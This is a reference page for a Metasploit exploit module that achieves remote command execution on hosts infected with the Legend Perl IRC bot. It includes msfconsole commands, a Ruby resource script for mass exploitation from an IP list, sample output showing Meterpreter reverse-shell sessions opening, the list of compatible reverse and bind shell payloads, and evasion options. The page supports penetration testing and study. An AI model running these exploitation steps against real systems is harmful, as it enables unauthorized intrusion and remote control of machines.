Legend Perl IRC Bot Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/misc/legend_bot_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Legend Perl IRC Bot Remote Code Execution
Module: exploit/multi/misc/legend_bot_exec
Source code: modules/exploits/multi/misc/legend_bot_exec.rb
Disclosure date: 2015-04-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix, Windows
Target service / protocol: -
Target network port(s): 6667
List of CVEs: -
This module exploits a remote command execution on the Legend Perl IRC Bot. This bot has been used as a payload in the Shellshock spam last October 2014. This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and UDP flooding, the ability to remove system logs, and ability to gain root, and VNC scanning. Kevin Stevens, a Senior Threat Researcher at Damballa, has uploaded this script to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using legend_bot_exec against a single host
Normally, you can use exploit/multi/misc/legend_bot_exec this way:
msf > use exploit/multi/misc/legend_bot_exec
msf exploit(legend_bot_exec) > show targets
... a list of targets ...
msf exploit(legend_bot_exec) > set TARGET target-id
msf exploit(legend_bot_exec) > show options
... show and set options ...
msf exploit(legend_bot_exec) > exploit
Using legend_bot_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your legend_bot_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/misc/legend_bot_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the multi/misc/legend_bot_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/misc/legend_bot_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/misc/legend_bot_exec) > show info
Name: Legend Perl IRC Bot Remote Code Execution
Module: exploit/multi/misc/legend_bot_exec
Platform: Unix, Windows
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-04-27
Provided by:
Jay Turla
Available targets:
Id Name
-- ----
0 Legend IRC Bot
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CHANNEL #channel yes IRC Channel
IRC_PASSWORD no IRC Connection Password
NICK msf_user yes IRC Nickname
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6667 yes The target port (TCP)
Payload information:
Space: 300
Description:
This module exploits a remote command execution on the Legend Perl
IRC Bot. This bot has been used as a payload in the Shellshock spam
last October 2014. This particular bot has functionalities like NMAP
scanning, TCP, HTTP, SQL, and UDP flooding, the ability to remove
system logs, and ability to gain root, and VNC scanning. Kevin
Stevens, a Senior Threat Researcher at Damballa, has uploaded this
script to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.
References:
OSVDB (121681)
https://www.exploit-db.com/exploits/36836
https://www.damballa.com/perlbotnado/
http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html
Module Options
This is a complete list of options available in the multi/misc/legend_bot_exec exploit:
msf6 exploit(multi/misc/legend_bot_exec) > show options
Module options (exploit/multi/misc/legend_bot_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHANNEL #channel yes IRC Channel
IRC_PASSWORD no IRC Connection Password
NICK msf_user yes IRC Nickname
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6667 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Legend IRC Bot
Advanced Options
Here is a complete list of advanced options supported by the multi/misc/legend_bot_exec exploit:
msf6 exploit(multi/misc/legend_bot_exec) > show advanced
Module advanced options (exploit/multi/misc/legend_bot_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/misc/legend_bot_exec module can exploit:
msf6 exploit(multi/misc/legend_bot_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Legend IRC Bot
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/legend_bot_exec exploit:
msf6 exploit(multi/misc/legend_bot_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
3 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
4 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
5 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
6 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
7 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
8 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
9 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
10 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
11 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
12 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
13 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
14 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
15 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
16 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
17 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
18 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
19 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
20 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
21 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
22 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
23 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
24 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
25 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
26 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
27 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
28 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
29 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
30 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
31 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
32 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
33 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
34 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
35 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
36 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
37 payload/cmd/windows/adduser normal No Windows Execute net user /ADD CMD
38 payload/cmd/windows/bind_lua normal No Windows Command Shell, Bind TCP (via Lua)
39 payload/cmd/windows/bind_perl normal No Windows Command Shell, Bind TCP (via Perl)
40 payload/cmd/windows/bind_perl_ipv6 normal No Windows Command Shell, Bind TCP (via perl) IPv6
41 payload/cmd/windows/bind_ruby normal No Windows Command Shell, Bind TCP (via Ruby)
42 payload/cmd/windows/download_eval_vbs normal No Windows Executable Download and Evaluate VBS
43 payload/cmd/windows/download_exec_vbs normal No Windows Executable Download and Execute (via .vbs)
44 payload/cmd/windows/generic normal No Windows Command, Generic Command Execution
45 payload/cmd/windows/reverse_lua normal No Windows Command Shell, Reverse TCP (via Lua)
46 payload/cmd/windows/reverse_perl normal No Windows Command, Double Reverse TCP Connection (via Perl)
47 payload/cmd/windows/reverse_ruby normal No Windows Command Shell, Reverse TCP (via Ruby)
Evasion Options
Here is the full list of possible evasion options supported by the multi/misc/legend_bot_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/misc/legend_bot_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - Connection to the IRC Server not allowed
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Connection to the IRC Server not allowed" error message:
69: def check
70: connect
71:
72: res = register(sock)
73: if res =~ /463/ || res =~ /464/
74: vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
75: return Exploit::CheckCode::Unknown
76: end
77:
78: res = join(sock)
79: if !res =~ /353/ && !res =~ /366/
<RHOST>:<RPORT> - Error joining the <CHANNEL> channel
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Error joining the <CHANNEL> channel" error message:
75: return Exploit::CheckCode::Unknown
76: end
77:
78: res = join(sock)
79: if !res =~ /353/ && !res =~ /366/
80: vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
81: return Exploit::CheckCode::Unknown
82: end
83:
84: quit(sock)
85: disconnect
The nick is longer than 9 characters, using <NICK>
Here is a relevant code snippet related to the "The nick is longer than 9 characters, using <NICK>" error message:
114: msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
115: end
116:
117: if datastore['NICK'].length > 9
118: nick = rand_text_alpha(9)
119: print_error("The nick is longer than 9 characters, using #{nick}")
120: else
121: nick = datastore['NICK']
122: end
123:
124: msg << "NICK #{nick}\r\n"
<RHOST>:<RPORT> - Connection to the IRC Server not allowed
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Connection to the IRC Server not allowed" error message:
147: connect
148:
149: print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
150: res = register(sock)
151: if res =~ /463/ || res =~ /464/
152: print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
153: return
154: end
155:
156: print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
157: res = join(sock)
<RHOST>:<RPORT> - Error joining the <CHANNEL> channel
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Error joining the <CHANNEL> channel" error message:
154: end
155:
156: print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
157: res = join(sock)
158: if !res =~ /353/ && !res =~ /366/
159: print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
160: return
161: end
162:
163: print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")
164: legend_command(sock)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13608 Merged Pull Request: Standardise Error Logging
- #10505 Merged Pull Request: Add post authentication information in modules
- #8940 Merged Pull Request: spelling/grammar fixes part 2
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6322 Merged Pull Request: Add Legend Perl IRC Bot Remote Code Execution
References
- CVE: Not available
- OSVDB (121681)
- EDB-36836
- https://www.damballa.com/perlbotnado/
- http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html
See Also
Check also the following modules related to this module:
- exploit/windows/ftp/leapftp_list_reply
- exploit/windows/ftp/trellian_client_pasv
- exploit/linux/samba/chain_reply
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/aasync_list_reply
- exploit/windows/ftp/filewrangler_list_reply
- exploit/windows/ftp/ftpgetter_pwd_reply
- exploit/windows/ftp/ftppad_list_reply
- exploit/windows/ftp/ftpshell51_pwd_reply
- exploit/windows/ftp/ftpsynch_list_reply
- exploit/windows/ftp/gekkomgr_list_reply
- exploit/windows/ftp/odin_list_reply
- exploit/windows/ftp/seagull_list_reply
- exploit/multi/misc/pbot_exec
- exploit/multi/misc/arkeia_agent_exec
- exploit/multi/misc/bmc_patrol_cmd_exec
- exploit/multi/misc/consul_rexec_exec
- exploit/multi/misc/consul_service_exec
- exploit/multi/misc/freeswitch_event_socket_cmd_exec
- exploit/multi/misc/hp_data_protector_exec_integutil
- exploit/multi/misc/hp_vsa_exec
- exploit/multi/misc/nomad_exec
- exploit/multi/misc/openview_omniback_exec
- exploit/multi/misc/osgi_console_exec
- exploit/multi/misc/persistent_hpca_radexec_exec
- exploit/multi/misc/ra1nx_pubcall_exec
- exploit/multi/misc/teamcity_agent_xmlrpc_exec
- exploit/multi/misc/veritas_netbackup_cmdexec
- exploit/multi/misc/w3tw0rk_exec
- exploit/multi/misc/xdh_x_exec
- auxiliary/scanner/http/robots_txt
Authors
- Jay Turla
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
